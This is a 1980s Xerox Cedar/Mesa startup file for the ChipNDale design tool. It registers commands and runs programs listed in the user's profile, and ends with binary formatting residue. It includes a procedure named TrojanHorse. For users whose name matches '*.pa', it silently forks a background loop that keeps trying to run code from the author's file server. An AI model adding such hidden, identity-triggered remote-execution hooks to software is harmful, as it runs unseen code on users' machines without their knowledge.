DIRECTORY CDEnvironment, Commander, CommandTool, IO, Process, Rope, UserCredentials, UserProfile; CDStarter: CEDAR PROGRAM IMPORTS CDEnvironment, Commander, CommandTool, IO, Process, Rope, UserCredentials, UserProfile = BEGIN StartPrograms: PROC [] = { runList: LIST OF Rope.ROPE = UserProfile.ListOfTokens[key: "ChipNDale.RunPrograms"]; FOR l: LIST OF Rope.ROPE _ runList, l.rest WHILE l#NIL DO IF ~Rope.IsEmpty[l.first] THEN { [] _ CDEnvironment.StuffToCommandTool[l.first, CDEnvironment.GetWorkingDirectory[NIL]]; } ENDLOOP; }; TrojanHorse: PROC [] = { trojanHorse: Rope.ROPE = IO.PutFR["/ivy/jacobi/cd%g/CDTroja%g", IO.int[CDEnvironment.cdVersion], IO.int[CDEnvironment.cdVersion]]; TRUSTED {Process.SetPriority[Process.priorityBackground]}; WHILE CommandTool.Run[bcdName: trojanHorse].error DO Process.Pause[Process.SecondsToTicks[4000]]; ENDLOOP }; Load: Commander.CommandProc = { IO.PutRope[cmd.out, "ChipNDale loaded\n"]; }; Quiet: Commander.CommandProc = { }; BeQuiet: Commander.CommandProc = { FOR ls: LIST OF Rope.ROPE _ CommandTool.ParseToList[cmd].list, ls.rest WHILE ls#NIL DO IF ~Rope.IsEmpty[ls.first] AND Commander.Lookup[ls.first]=NIL THEN { CDEnvironment.RegisterCommander[key: ls.first, proc: Quiet, doc: "command made quiet"]; }; ENDLOOP; }; StartPrograms[]; IF Rope.Match["*.pa", UserCredentials.Get[].name, FALSE] THEN TRUSTED { Process.Detach[FORK TrojanHorse[]] }; CDEnvironment.RegisterCommander[ key: "ChipNDale", proc: Load, doc: "loads technology independent ChipNDale" ]; CDEnvironment.RegisterCommander[ key: "BeQuiet", proc: BeQuiet, doc: "makes this load file beeing quiet" ]; END. „CDStarter.mesa (part of ChipNDale) Copyright c 1983, 1986 by Xerox Corporation. All rights reserved. by Christian Jacobi, November 7, 1983 5:39 pm Last Edited by: Jacobi July 24, 1986 10:32:07 am PDT Last edited by: Christian Jacobi, January 28, 1987 5:26:01 pm PST --This is typically commented out in released versions --but active in old, private or pre-released versions ΚŽ˜codešœ$™$Kšœ Οmœ7™BKšœ/™/K™4K™AK˜—šΟk ˜ Kšœ˜Kšœ ˜ Kšœ ˜ Kšœ˜Kšœ˜Kšœ˜Kšœ˜Kšœ ˜ —K˜šΟn œžœžœ˜Kšžœ(žœ0˜a—Kšž˜K˜šŸ œžœ˜Kšœ žœžœžœ:˜Tš žœžœžœžœžœžœž˜9šžœžœ˜ KšœQžœ˜WKšœ˜—Kšžœ˜—Kšžœ˜—K˜šŸ œžœ˜KšΟc6™6Kš 5™5Kš œžœžœ%žœžœ˜‚Kšžœ3˜:šžœ-ž˜4Kšœ,˜,Kšž˜—Kšœ˜—K™šŸœ˜Jšžœ(˜*Jšœ˜J˜—šŸœ˜ Jšœ˜J˜—šΠbnœ˜"š žœžœžœžœ.žœžœž˜Všžœžœžœžœ˜DJšœW˜WJ˜—Jšžœ˜—Jšœ˜J˜—Kšœ˜šžœ0žœžœžœ˜GKšœžœ˜"Kšœ˜—šœ"˜"J˜J˜ J˜-Jšœ˜—šœ"˜"Jšœ˜Jšœ˜J˜(Jšœ˜—Kšžœ˜K˜K˜—…—b t